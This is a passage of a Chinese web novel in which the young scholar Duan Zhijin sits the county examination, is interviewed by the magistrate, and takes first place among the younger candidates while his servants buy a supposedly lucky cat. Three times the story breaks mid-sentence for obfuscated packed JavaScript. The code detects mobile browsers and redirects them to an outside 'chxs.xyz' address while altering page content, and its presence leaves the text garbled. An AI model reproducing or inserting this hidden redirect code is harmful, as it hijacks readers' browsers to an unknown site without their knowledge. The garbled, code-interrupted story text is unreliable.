果然,等着士子们都进去了,衙役开始指着一个个圈定的位置叫价,段之缙对那最好的位置并无什么执念,只花了五两银子挑了个避风的地方,将自己的木箱拆开组装成一桌一凳,又把早就研磨好的瓷瓶中的墨水倒出,这才静坐着等待外头的太阳升起,把光照进大堂内。 静坐的时候最是熬人,不能左顾右盼,外头的寒意丝丝蔓蔓地侵入厚实的毛皮衣裳,掌心搓来揉去仍是一片湿冷。 不知熬到了什么时辰,只知道天已大亮,外头的阳光终于打到了人身上,带来些无用的暖意。段之缙先听得一声锣响,一位穿着青色团领衫,身前为彩线鹭鸶补子的中年人进了明伦堂。 他看一眼时辰,盯着日晷捻了捻胡子,吩咐道:“开考吧。” 那些衙役便挨个儿地分发卷纸和草稿纸。 又闻一声锣响,一位师爷打扮的男子站在中央朗声道:“本场考试,四书文两道。第一题:‘子曰,君子和而不同’。第二题,‘老吾老以及人之老,幼吾幼以及人之幼’。开始答题!” 段之缙展开草纸,先将两道题默在纸上。 第一题出自《论语》,全句为“君子和而不同,小人同而不和。” 朱熹对此已经有解释了,“和者,无乖戾之心;同者,有阿比之意。”所以段之缙要写,也只能从这两方面入手。 上好的狼毫笔饱食了顶烟墨,坠下的一滴墨珠被砚台壁刮去,段之缙先在草稿纸上工整地破题:“圣人之论君子,以和同辨其心术也……” “盖和者,理之公;同者,私之蔽。夫子示人以立心之要,莫切于此……” “和”与“同”,之所以能够区分君子和小人,就因其一个为公理,而一个为阿比。 段之缙承完题,又思考一番,紧接着写道:“尝思君子持己接物,非徒苟合取容已也。必也审乎义理之当然,而裁制以中正……” 正当此时,一个身影覆盖在了他的身后,居高临下,住了一小会儿,他才移开步子,站到了别人的身后去看,似乎每一个人的卷子他都看了一遍。 段之缙专心致志,也不知道有人盯过他,现在已经写到了中二比,“君子以道义为权衡,故虽众说纷纭,而折衷必求至当;小人以势利为依附,故虽同声附和,而隐衷实怀乖戾……” 日头一点点往正中爬过去,笔下清秀俊逸的字洒洒扬扬地铺满了两张草纸,直到段之缙的肚子都咕咕作响时,这两篇四书文才将将打好了草稿,开始忍着肚饿往试卷上一字一字地抄写。 不是不能吃点东西,琼香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971623|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和王章给他带了干粮,可冬日里天黑得早,申时虽还不至于完全暗下去,可明伦堂本就有些阴,太阳一斜字迹便不那么清楚了,县试又不提供蜡烛,天黑就清场。 因而考场里也没人敢耽误时辰,都忍饥挨饿地抄写,又不敢抄得太快,生怕写错了一个字。 最后一个字句落下,段之缙全文读了一遍,确信没有地方笔误,也没有地方誊写错误,这才抬起头找县令想要交卷,谁知县令竟不在前头坐着。 “你写得倒是挺快。” 冷不丁一句话从身旁炸响,吓得段之缙差点跳起来。 原来是那县令兜兜转转,又在他身后看起了卷子。 段之缙不能回头,只听到皂靴踩在青砖上的走动声,那一身青袍又回到了本应在的地方,李县令面无表情地朝他招手。 双手小心地捧着试卷上前,又迅速提起下袍跪到地上,试卷和草纸朝上高高举过头顶,段之缙恭敬道:“请大人过目。” 一旁的师爷结果他手中的卷纸呈上,县令扫了两眼,问道:“如何写得这样快?” 段之缙知道这不是谦虚的时候,一定要让县令印象深刻才好,“学生平日里勤学不止,每日都要做四书文两篇,五经文两篇,又吃透了四书五经、圣贤教诲,这才能下笔如有神。” 县令不发一言,只冷淡地点了点头便叫他退下。 段之缙利索起身,收拾好东西退出明伦堂,这一天的考试便算结束。 刚背着自己的东西走到马车旁,他便惊喜地发现秦先生也在,三步迈做两步迎上去:“先生怎么来了?” 秦慎之自从教完了书,也是许久没有抽烟了,可能今日也有些焦虑,现在又啪嗒啪嗒地抽了起来,他用一张帕子接着烟灰,漫不经心地回道:“来问问你考得怎么样?出的什么题?” 段之缙便将今日的题目和自己的答题思路告诉了先生,秦先生展颜一笑,带着一股志在必得的劲儿,“你这个水平再往上考乡试,肯定还是玄得很,不过区区县试,手到擒来!只等着明日看榜吧!” 段之缙倒还稳重些,王章和琼香两个小书童已经喜笑颜开了,乐得找不着北,满嘴都是二爷要当大官了,还是秦先生拿着烟斗一人敲了一下脑袋,这才安静了下来。 当天晚上,仍是早早睡下,子正时分醒了,洗漱一番赶紧去了孔庙明伦堂,既是为了今天的初覆,也是为了看榜。 但看榜的结果却大出所料,两个书童并段之缙三个人,把榜从上到下地看了好几遭,就是不见二爷的名讳,不仅段之缙心下失望,连两个小童亦是垂头丧气。王章急着安慰二爷,琼香就咬牙切齿地嗔那县令不识货,秦先生都夸好了,凭什么不能得中,倒是闹得段之缙哭笑不得。 那边衙役已经紧着催促了,段之缙安抚好两个书童,背着木箱走进了考场,一切都如昨天一样,买座位、静思、等着发题。 26.第二十六章 县试得中 仍是如昨日一样的流程,锣响,师爷公布考题,今日需做五经文一道,题为:“《尚书·尧典》中的‘克明俊德,以亲九族’。” 这是典型的以家推国的思想,那一段文字为“克明俊德,以亲九族。九族既睦,平章百姓。百姓昭明,协和万邦。”和“修齐治平”有异曲同工之妙。 在心中想好了思路,段之缙浅蘸了两笔墨水,一撇一捺就在草纸上晕开:“夫圣王之治,必本于德。德者,天之所赋,人之所秉也。尧之克明俊德,非独修己之谓,实以昭示万邦矣……” 正在纸上打着草稿,皂靴点在青石砖的声音又在四处响起,然后越移越近,最后在段之缙身后停住,一道目光居高临下,透过恭写文字的学子,停留到他的笔墨上。 “昔者尧之为君也,明德如日,光被四表。九族虽殊,而亲之以诚;百姓虽众,而抚之以仁。譬犹北辰居所,众星拱之;春风化雨,草木蕃之。此非权术之能致,实乃至德之所归也……” 那道目光一直看着段之缙写,一直草到了中二比才移走,走到别人的身后去看,待看完了所有人的文章,县令才端坐到了堂前椅上,手捧一本《长安志图?泾渠图说》研读。 正蹙眉深思之时,堂下倏忽间传来一句清朗的“大人”,这一回轮到李县令吓了一跳,伸着脖子一看,正是段之缙端跪在下方,双手高捧着试卷。 “呈与大人。” “哦,这么快就写完了?”李县令惊诧,示意师爷把卷子拿上来,又瞅一瞅外边的日晷,此时还不到晌午呢。 “今日倒是比昨日更快了。”他拿着那几张薄薄的纸阅览,随口说了一句。 段之缙低眉垂首:“今日只做五经文一道,自然是要比昨日快些。” 李县令嗯了一声,也不做其他回答,只等着看完了文章便叫他退下,仍是没有多说一句话。 没有也好,要是知道了他的评判,对段之缙的心态也不好,对在场考试学子的心态也有影响。 收拾好自己的笔墨砚台和小书箱,段之缙安静地退出考场,两个书童并秦先生还是昨日一样的姿态等在马车旁,一时间竟也分不清今昔何夕。 “今日考了哪道五经题?” “《尧典》中的‘克明俊德,以亲九族’。”段之缙回答了秦先生的问话,又将自己的解题思路说了一遍,秦先生的反应还和昨日一样,断言徒弟此次必中。两个有些沮丧的书童也跟着高兴起来,脸上难掩兴奋。 段之缙却有一丝预感,这事儿的幺蛾子恐怕还在后边,因而只谦虚地回以一笑,并没有多说什么。 考试第三日,秦先生也起了一个大早,和段之缙一块去看榜,四个人把那榜来来回回地看,目光刺出来,那张薄薄的纸都要着起火,愣是没有段之缙的名字。 “不应该啊……”秦先生疑惑非常,“你们不过是些考未冠题的学生,得出何等的神童才能叫你也显不出来?” “不应该啊!”困惑到极处,秦慎之一拍大腿 :“你跟我说说,你进去都干什么了?” 还能干什么?买座位、等考题、草文章、誊抄、交卷,除了这些事情段之缙又能干什么,又敢干什么呢? 不过秦先生却抓住了一个重点:“你说,你连着两天都是第一个交卷的?” “学生写完了,不能第一个交卷吗?” “县令可跟你说什么了吗?” “只说学生交得挺早。除此之外,也没有做什么。” 秦先生听到这里心里已经有了些想法,他说道:“你做题的时候注意一下县令,估量估量他停在你身后之时,是在看着你写文,还是在览你写完的文。” 段之缙应是,提着自己的小木箱进入考场。 这一天的题目是“天行健,君子以自强不息。”段之缙思考片刻就在纸上草写,又分流出一点心神在脚步声上,果然听到沉闷的牛皮靴底踩在石砖上的声响,然后在自己身后停住。 一直盯着自己从承题看到了中二比才重又走远。 只不过,若县令每一个人都看,那也不算什么。 段之缙竖起两只耳朵仔细听,那脚步声匆匆,并不会像刚才这般停留,时间也就够览完草纸上已经写了的部分。 真是怪了,县令难道认识我吗?还是那天上元节,他也在望星楼? 胡思乱想一阵,段之缙把注意力重放在稿纸上,写完笔下的五经文,然后工整誊抄在卷纸上。 因为刚才想了一阵儿旁的事儿,他今日并非是第一个交卷的人,前边已经有三四位学子交上了答卷离开,此时李县令就坐在他的位置,紧盯着段之缙捧着试卷走上前,一撩袍子跪下。 “怎么今日交得晚了些?”县令看着手里的文章问,又笑道:“不是勤学不止,一日做四篇时文吗?” 段之缙回道:“学生半桶水的水平,怎么敢在大人面前卖弄,只是笨鸟先飞罢了。” “你倒是很会说话,退下吧。” 这句话听不出什么语气,段之缙面色如常收拾东西走了,一出考场,秦先生便紧着问,段之缙也如实回答。只是等着听完,先生的脸已经全然黑了下来。 咬牙切齿地嘟囔了几句,秦先生再不发一言,也不再提什么得中不得中的事情,只叫学生安心考试。 最后一天考试,秦先生也不早起看榜,也不来接段之缙,只蒙头睡觉,又气哄哄地抽烟,一日之内抽了整整两袋烟丝,弄得屋子里烟熏火燎,走不进去人。 等着段之缙回了外祖家,他也不去看看,弄得王老爷和白夫人以为这次考试希望不大,纷纷上来安慰,言说明年再战也不算迟。 只是第五天放榜的时候,却是大跌眼镜,段之缙竟然过了! 一时间王府上下热闹非凡,在正堂摆了宴席,载歌载舞,王老爷拍着段之缙的肩膀赞道:“我们王家,祖祖辈辈的商贾人家,也一向和商贾人家结为姻亲,结果一个读书上进的都找不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975656|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,没想到偏偏出了你这样的人才!” 段之缙连称不敢,又殷勤地为外祖倒酒布菜,这一场宴闹到了半夜才停住,大家酒气冲天地回去。就在他走在半道上的时候,秦先生叫住了段之缙。 “三月五日下总榜,后日便要去拜见县令了。到时候好好表现,这可关乎你的排名。倘若县令为难了你,最后的排名不好,也别放在心上。你得知道,安平县以学风昌盛闻名淮宁省,你能在七个月内过县试,说一句天纵英才也不为过。” 谆谆教诲,亲生的父子恐也不过如此,更何况段之缙两世的父亲道一声“非人哉”也不为过。 铭心镂骨,可话到了嘴边,说出来反而见外,段之缙只深鞠了一躬,刚要退下,又突然想起了点什么,问道:“先生,您还记得,倘若我县试中了,便将您的真实身份告诉我吗?” 秦先生也没想到他此时提起这茬子事儿,先怔愣了一下,才笑道:“你啊你……先生记得呢,等你拜见过了县令,一定告诉你。” 时间不等人,一日的时光匆匆而逝,转眼就是拜见县令的日子。 段之缙和其他几十个得中的学生等在县衙的大堂内,等着衙役一个个地叫进去。 四周是士子们的窃窃私语声。 “今年真倒是怪了。” “可不是吗?我听人家说,往年都是十来个一起叫进去,县令当场出题,学生们或辩经或作诗,从没听说过要一个挨着一个的进去考察。” “周兄,你说这叫人的顺序是按照什么来的?” 那姓周的士子自得一笑:“往年都是按照我们作时文所得的排名顺序来的,想来今年也是一样。刘兄,你听好了,这时文的排名虽和最后的排名不尽相同,可是大差不离,没多少变动喽。” 段之缙默默听着,原来这顺序竟然是按照初榜的顺序来的。 正想到此处,一位书吏捧着卷纸出来,朝着乌乌泱泱的众人喊:“周成名!” 刚才那“周兄”兴奋得满脸通红,忙向四周道喜的人施礼,又给书吏塞了一块儿银子,这才进了小室拜见县令。 许是一个一个接见的缘故,每个人停留的时间也不长,只是左等右等,也不见唤自己的名字,段之缙难免自嘲:“总不会是最后一名吧……” 想什么来什么,士子们进去又出来,原本热热闹闹的大堂内,转眼就剩下了他一个人。 还真是最后一名! 那也挺好,有些时候能拿个六十分及格就行,多一分都是浪费。 “段之缙!”等着下午太阳要落时,倒数第二名士子才出来,书吏紧跟着唤了段之缙的名字。 他这会儿肚饿难忍,强打起精神往里走,那书吏却突然挡在门前大声猛咳,叫段之缙一时无措,人家暗示地眨眨眼祝贺道:“恭喜您啊,段老爷。” 段之缙一瞬间反应过来,从小荷包中掏出一张小额的银票放入书吏手中:“同喜同喜。”这才被放了进去。 27.第二十七章 拜见县令和连科狸 段之缙轻手轻脚地进门,见了县令先恭敬下拜:“学生段之缙见过大人。” 县令李显光叫起,又指了指自己的茶碗:“给我倒杯茶水。” 段之缙立刻起身倒茶,热水从壶中倾出,落入卍字福纹杯底,和祁门红茶红润的叶片相撞,激荡出红艳明亮的茶汤,一股清香逸散出来。 县令拿起茶浅嘬了一口,还有些烫嘴。 他放下茶碗,手指点点堂下的椅子:“坐下吧,多少问问你的学问。今年多大了?” “四月份满十九岁。” “少年英才啊,你的文章在未冠题中是最好的了,写得透彻、明白,见识也深,不像是没见过世面的小孩子。” 段之缙当然不是没见过世面的小孩子,上一世商场里叱咤风云,这一世看了山东难民,心胸之内除了精明打算还有一团火气,见文识人,自然不像是小孩子的文章。 “大人谬赞了,学生不过是侥幸,有一二短浅见识,不值一提。” “你不必谦虚,便是及冠的士子,很多人也只不过是文采好一些,眼界见识远不及你。平日里都读什么书?” “不过是四书五经、历代史书和先哲教训罢了,不敢读多了,恐旁门左道入了脑子。” 县令晃悠着手里的茶水,终于晃得凉了一些,三两口吞下,上好的红茶就跟凉水一般,纯是为了解渴。他又招招手叫段之缙为他倒茶,仔细打量了一番年轻人的长相,看他眉目清秀,气质温文尔雅,便心生好感,只是可怜他长了一张笑面,看着可欺。不过好在是看着可欺,有些人一张笑脸,偏偏显得奸诈。 声音也清亮,闻之悦耳,是做官的好材料。 “你长相十分俊美,自己知道否?” 段之缙吓了一跳,联想到当代与清代一样,律令禁止官员狎妓,结果这群当官的钻法律的漏洞,去亵玩娈童,现在县令又赞自己长相俊美,禁不住身子僵直,一时之间竟也不知如何是好。 幸好县令的下一句话叫他心稍放下来。 “你这样的长相,若是能金榜题名得中进士,为了朝廷的体面,恐怕都要让你做个探花喽……” 段之缙故作羞涩一拱手,“大人说笑了,学生何德何能有此等的造化,能够高中已经是祖坟冒青烟。” 还有自己说自己自己祖坟冒青烟的? 他这一句话说得县令开怀大笑,“你确实是有意思的读书人。本官跟你说这些,是想激励你一番……接下来的路,可是不好走了。” 县令的话里隐有暗示,段之缙当即再拜,诚恳道:“愿听大人指点。” “下一场府试的知府,喜爱振聋发聩之文,你过府试没问题,院试之学政是与我同一年上任的,虽偏好华美辞藻,可若你能扎实学问,倒也不会名落孙山。只是乡试……考官都是圣主下令,从翰林京官中选拔……你外祖是商户,这就先叫人看轻了,兼之你父亲那个情况,你想要过了乡试,怕是难了。” 段之缙倒没心焦气躁,反而疑了起来。 李显光作为安平县令,他知悉名震淮宁的豪商巨贾王元浩倒是不足为奇,再知道他的外孙正是今年县试也不足为奇,可他是怎么知道段成平家里那些烂事的? 虽说那事儿在京城里闹出了天大的笑话,可淮宁离着京城十万八千里,自己赶考都要走一个月,现在交通条件这样不发达,如何也不应该传到淮宁来。 在淮宁,王虞那件事,应当只有王家人自己清楚,再者家丑不可外扬,他们只会打肿脸充胖子,断不会把这样丢人的事情四处宣扬的。 那……县令是如何知道的? 李显光好像看出了段之缙的疑问,主动回道:“我是京官被贬出京,来这儿做一个七品县令,你们家的事情我早有耳闻。” 段之缙亦觉尴尬,无奈又施了一礼,“大人见笑,有道是子不言父之过,学生不宜再说什么了。” 李显光点点头,又问了些四书五经的学问,段之缙从容不迫、对答如流,真倒有几分神气在。 这一场面试,一直问到了天黑,只庆幸县令只问经史子集,不问诗词歌赋,没叫自己丢丑,擦擦额上的冷汗,段之缙又饥又渴,坐上马车匆匆回了王家。 白老夫人珍爱这个外孙,倒比自己的亲孙子都亲昵,一则是心疼王虞,爱屋及乌,二则段之缙斯文有礼,又肯用功又聪慧伶俐,老太太如何能不喜欢? 今日知他去拜见县令,早早就起了,先喂给段之缙一个吉祥如意的福饼,图一个万事顺利的好兆头,又吩咐厨房做一桌好菜,还特意嘱咐了做段之缙吃习惯了的京菜。 结果中午头等了一顿,孩子也没回来,老太太便有些担忧,如今天黑了还没回来,难免焦虑,带着身边的老嬷嬷小丫头倚在了二门上等着,要头一个见缙儿。 段之缙都要饿昏了,但见着外祖母仍是恭敬问安,又被一把拉住。 老太太抱怨道:“这天儿都黑透了,如今才回来?今天晌午吃了没有?” “没有……县令大人最是小心谨慎之人,科举抡才大典,他总要细细问才好,不然难免有浑水摸鱼之辈。” “怎么,见了你的文章还不知道你的为人?我虽然不识字,不是吊书袋的老先生,可也知晓见字知人的道理,想必见文章更能识人,何必再去问这么多?” 段之缙只细声安慰着老太太,既感念老太太的恩德,挂念着自己,又得为县令大人转圜,不能叫他被老人家骂了。 等着进了白老夫人碧水台阁,饭菜都已经呈上,什么白粥、鸡丝粥,粥水都有五六种。 白老夫人先坐定,叫伺候她的逢春嬷嬷先给段之缙舀了一碗青菜粥,劝道:“知道你惯爱吃京菜,口味重些,可今天饿了一天,也不知道水有没有喝一口,先用些养胃好克化的粥垫一垫,吃点清淡的就去歇了吧。也不要吃的太多,胀坏了脾胃对身子不好,吃个八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984830|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分即可。” 段之缙应是,喝了两碗粥,用一些小菜便停筷,先伺候外祖母漱了口这才告辞,回去轻轻松松地睡觉。 这一回儿,县试真的尘埃落定了,离着放榜还有几日,秦先生也不来授书了,先紧着他睡觉,等着孩子昏昏沉沉地睡了两天,又叫他自己玩耍,总之不要打扰自己。 “先生,您这次总该告诉我真实身份了吧?”段之缙抓住时机赶紧问,可秦先生捻捻胡子神秘一笑,只推说出了榜,大家一起去望星楼庆贺,届时自然不再隐瞒。 段之缙也不好再催,放榜前两天都在屋子里看话本,《忠烈侠义传》看了一遍,又跑出去买《七侠五义》,颇沉迷其中,一转眼就到了三月五日。 琼香和王章自昨天晚上就睡不着,辗转反侧,两个小伙子凑在一块嘀嘀咕咕,一致觉得案首非自家二爷莫属,第二日一人挂着两个眼袋,顶着漆黑的眼圈伺候段之缙洗漱,又紧催着二爷赶紧去看榜。 “你们不是识字吗?叫你俩去看不成吗?”段之缙骤然放松下来,只觉疲惫得紧,放榜了也不想出去,兼之《七侠五义》尚未读完,只想留在屋内读书,一人塞了五两碎银子就打发他们出去看榜,看完了也不着急回来,自己溜达溜达也成。 两个小伙子又有赏银拿,又能出去玩,自然十分愿意,颠儿颠儿地跑出家门,直奔县衙看榜。 只是他们想得美,路上却叫那无耻的卖猫人缠上了。 那是一只体长一尺半的山东狮子猫,通体雪白好似白练一般,长了一对儿耀人的鸳鸯眼儿,一黄一蓝,跟琉璃珠似的,极为喜人。 可这俩急着看榜的小伙子可没移一点儿眼神给猫儿,那卖猫的人家却不知怎么训得猫,竟然也没关在笼子里,直接歪倒在了琼香脚边,婴儿拳头一般大的猫爪子一勾,猫嘴一咬,就把琼香身上的小荷包叼走跑了,急得琼香去追。 追到时,荷包已经在卖猫人的手中了。 “你家的猫,怎好叫它乱跑闯祸,还不将荷包还与我!” 琼香气得吵,那卖猫人是个瞎子,守着一个算命的摊位,不急不徐道:“小友何必如此气恼?荷包还与你就是……只是你先要跟瞎子说说,你干什么去?” 琼香抓那荷包抓了一个空,恼得要破口大骂,又被王章拦住,皱着眉答这瞎子的话:“我们是替主人看县试的榜,还请您赶紧还与我们。” 瞎子点点头,“有缘有缘……想要拿回去荷包,要先买我这猫才好啊。” “你发什么疯!凭什么买你的猫!”琼香真是气不过了,他从没见过这样不要脸的人,养了一只贼猫,偷了人家的荷包,还要人家买他的猫?岂有此理! “哎~”那瞎子也不生气,伸手一拍桌子,那猫儿跳上桌来,他抚一抚猫儿柔顺的背毛,雪白的毛发如浪一般涌动。 “你可不要小瞧我这只猫儿,它名唤‘连科’,谁得了它,可是要一路连科的。” 28、第二十八章 算命和案首 王章虽还是个十四五的小孩子,可他胆子大得很,当初就敢当着许嬷嬷的面拆穿松烟,现在也不怵这个白胡子一大把的老货,眉毛一挑,恐吓道:“你这猫儿偷了我兄弟的荷包,里边可是有银子的!若是你不还,我们便去报官!叫县令大人看看,到底应不应该还了我兄弟的荷包。” 那瞎子嘿嘿一笑:“哎,小友,我何时说不还了?你便是不买我的‘连科奴’,我也是要还给你滴!”说完,瞎子掌心朝上,荷包原物返还。 琼香朝瞎子“呸”了一声,赶紧扯着王章走,刚才耽误了个把时刻,现在榜前该挤满了人,这就不好看榜了。 谁知,算命的瞎子又开始作妖了,他老树皮一样的手轻轻抚摸着猫儿的脑袋,又怜爱地搔搔猫下巴,猫儿舒服得嗓间发出呼噜呼噜声,又娇娇嗲嗲地叫。 “可惜啊可惜啊……”瞎子一边抚弄着狮子猫,一边在后边唉声叹气。 “没有了我这娇滴滴的‘连科奴’,你们的少爷就要名落孙山了!” 那两人还没有走远,一字一句全钻到耳朵里,把小兄弟两个气得仰倒,便是王章这样稳重的小子都忍不住了,攥着拳头冲回了摊位,一拳砸在桌子上。 该死的,人家要去看榜了,这个瞎子咒别人名落孙山,就算是打死他也不为过! “你个烂舌头的瞎子,怎么敢说这样的话!小爷今儿就叫你长长记性!”语罢,一拳就要挥到瞎子脸上,却被瞎子轻轻松松地截住了。 他也不还手,也不生气,故弄玄虚地摇摇脑袋:“小友莫急,你听瞎子我说……你们主人今年尚未及冠吧?” 两个小子面面相觑,琼香故意编了个瞎话:“莫说及冠,我们主人都孩子都十多岁了!” 瞎子哼笑一声:“不仅未及冠,还是从南到北再到南。” 这话说的没错,段之缙的嫡兄五岁上,王家给段成平捐了官,一家人离开淮宁去了京城,这就是从南到北。 现在段之缙从京城回到淮宁考试,岂不就是从北到南? 王章半信半疑地把拳头放下来,“你怎么知道的?” 瞎子摇摇扇子:“风告诉我滴……” 琼香是商贾人家的家生子,本来就信一些神神鬼鬼之术,又事关自己伺候的主子,连声催着瞎子继续说。 “接下来的事儿,全在我这猫儿呢,若是不买这狸奴,你们少爷必然要名落孙山。” 他又开始说这些烂舌头的话! 两个小伙子咬牙切齿,恨恨商量了一番,还是决定买了这小猫,不图别的,但要它“一路连科”的好兆头。 “你这猫儿我买了,多少钱?” 猫儿听到这话,似通人性一般高高挺起了胸膛,胸口的大毛脖领子叫它愈发矜贵。 “十两银子。” “十两!你他娘穷疯了!一直狸奴要十两银子!”琼香惊愕异常,乃至破口大骂,骂完了就要拉着王章走。 “小友留步,不光是猫儿的钱,还有我算命的钱呢?瞎子算命不要钱啊!” 这命算还是不算? 两个小子又开始犹豫了,嘀嘀咕咕起来,算命的手在猫儿身上抚摸,慢慢腾腾地开了口:“你们今日拿的财是灾财,是要生灾滴……” 琼香和王章一个激灵,猛然想起了今天二爷给的银子,正好是十两。 他俩现如今真是信服了,琼香将荷包里的十两银子全掏出来,留恋地看两眼,瘪着嘴递给瞎子。 “喏,都在这了。” 瞎子笑嘻嘻地拿到手里颠两颠,吩咐道:“会写字不会?” 琼香回道:“会。” “把你主人家的生辰八字写到我的纸上。” 琼香挠挠头,他可不知道二爷的生辰八字,好在王章知道,凑到琼香耳边说了,琼香磕磕绊绊地写下来。 瞎子用手指摸着字迹,未干的墨浸上他的指腹,留下黑黢黢的脏污。 他摸来摸去,胸有成竹地笑,提笔在一黄色纸条上写道:甲木逢申月,七杀当权而偏财透干,正印归墓却伤官吐秀。四柱金寒水冷,幸得丙火暖局,子水通源。观此命盘,如孤松立雪,自有一番傲骨峥嵘。 “走吧……” 啊?这就完了? “你这算命的,你还没跟我们说,我们主人是什么命呢!” “你那银子,只够买我这一句话。若想知道,拿着这字条找旁人,叫旁人解。” 琼香还待再闹,王章余光一瞟,却见一个彪形大汉正往瞎子这走,然后如高山般立于其后,显然是来撑场子的。 他赶紧拉住琼香的手,叫他别再说话,两个人气焰顿时消下,决定还是暂且退让一步,先去看了榜再说。 正要灰溜溜走了,身后一道高呼:“小友!” 转头看,瞎子推了推桌上趴卧着的猫儿,笑道:“您的猫……” 那猫儿似有所感,一下子跳到地上,层层叠叠的毛发犹如海波汹涌。 它轻点着小猫步走到琼香身边,在土路上留下一串串小梅花印。 琼香气恼可也无法怎么样,这猫身价可高着呢,整整十两银子! 这么一想,也舍不得叫这“宝贝”走路了,干脆抱在怀里,可他还是气呼呼的,拍了一下乖巧猫儿的臀,假嗔:“你这小畜生做出来的孽,要是不能叫我们二爷名次高高的,把你的皮褪下来做脖领子。” 猫儿理都不理他,只窝在他的怀里享受,眼睛也渐渐眯了起来。 这两个人轮流抱着死沉的狮子猫赶到榜前,那小小的牌子早就被围得水泄不通了,乌泱泱全是人头。 猫儿被吵得不行,从王章怀里爬出来,挂到了他的脖子上,王章此时着急往前拱着看榜,也没那闲工夫管它。 “陈宝岭、万苗青、张继宗、薛德通……”琼香从下边往上念。 “郑崑瑛、周道伦、孟宪祖……”王章从上边往下念。 “周成名。”\“周成名。” 两个小子读到了同一个人名,吓得腿都开始打哆嗦,怎么没有他们家二爷的名字! 从头再读还是没有,琼香的眼泪都涌了出来。 “明明中了的,上次的榜我都看了的,就是二爷的名字没错。”他记得清清楚楚,最后一场的榜放出来,段之缙的名字就是在上边写着,清清楚楚、明明白白的。 如何现在就没有了呢? 琼香百思不得其解,火气和恼怒不知往何处撒,突然想起了刚才那瞎子的话,越想越觉得是他胡言乱语,妨了二爷的运道,因而恼道:“什么‘连科奴’,我要去找那瞎子算账!” 此时,挂在王章身上的狮子猫像是不耐烦了,一跃而下,接连几个跳跃便冲到了外边。 琼香一时没有抓住,心中更恼,这可是十两银子!原本打算和王章一块儿去肖记食坊好好搓一顿,结果现在就得一只没用的猫儿! 两个小伙着急忙慌地跟着那一团白冲出人群,好不容易逮到了那猫,琼香正要斥它,王章却呆愣愣地念道:“琼香哥,这还有一个榜呢。” 怪不得方才那榜上没有段之缙的名字,原来是未冠题和及冠题分开考,总榜也是两个,排出两个案首。 琼香踮着脚往人群里看,隔着老远看见了最顶上的那个名字,吓得手里的猫都掉到地上,结结巴巴地问:“那最顶上的那个,是我们……我们二爷的名字?” 王章也吓呆了,一句话说不出,只傻乎乎地点头。 琼香把地上滚了一遭的连科紧抱在怀里,一个劲儿往人群里钻去,贴着那张薄薄的红纸看,差点盯成了斗鸡眼。 “真是我们二爷!”这两个人异口同声的欢呼,琼香此时不觉得算命的骗人了,一口亲在连科的猫脸上,喜道:“好狸奴,你可真神!” 然后二人也不敢拖沓,原本想去肖记食坊的心也歇了,带着猫儿一路连跑带跳回了王家,从后门窜进了内院。 两人分头行动,琼香去跟院里的老太太说,王章则跑回了二爷那里。 此时段之缙还关门闭户地看武侠话本呢,外边霎时间吵闹了起来,平日里小心翼翼的下人们也不知怎么了,嬉笑欢呼之声不断,然后他便听得往日里稳重的王章把门拍得砰砰响。 “二爷!二爷!中了!” 段之缙自然是知道中了,而且名次该是很不错,因为上次拜见县令的时候,县令已经夸赞了他的文章是未冠题里头一等,只是不如一些苦读了多年的学子罢了。 语里含着淡淡的笑意,段之缙问道:“中了就中了,难道是案首吗?何故如此欢欣雀跃?亏你还整天说自己是稳重人呢!” 谁知王章也不等他叫进,直接把门一推,脸蛋子涨得通红,叫着回道:“就是案首!” 这回段之缙也吓了一跳,“胡说,最起码前边也该有个郑崑瑛!” 他自己的水平自己清楚,郑崑瑛“旁门左道”上略逊于他,可科举考试绝对不会比他差,那日上元节的文章便可见一二。还有书肆的掌柜,对自己这种锦衣华服之人可没个好脸色,但是对郑崑瑛却是一副十分相熟的样子,甚至对着自己炫耀,可见郑崑瑛绝不是等闲之辈。 “二爷您忘了?这未冠题和及冠题是分两个榜的,您是未冠题的案首!” 正当段之缙恍然大悟的时候,外边的吵闹声愈发大,老远便听见了白老夫人中气十足的声音。 “缙儿,我的儿,快出来叫外祖母好好看看!”【你现在阅读的是 】 29、第二十九章 命格 老太太是金玉堆里善养的老人家,心里又慈善,每日上午都是念经祈福,求佛祖保佑家人,几十年如一日雷打不动,今天也是高兴过了头,竟抛下她的佛祖,亲自踏入了段之缙的小院来看望这个外孙。 段之缙听见外祖母的声音,不敢耽搁,连忙将身上整理了一下,起身出门迎上去。 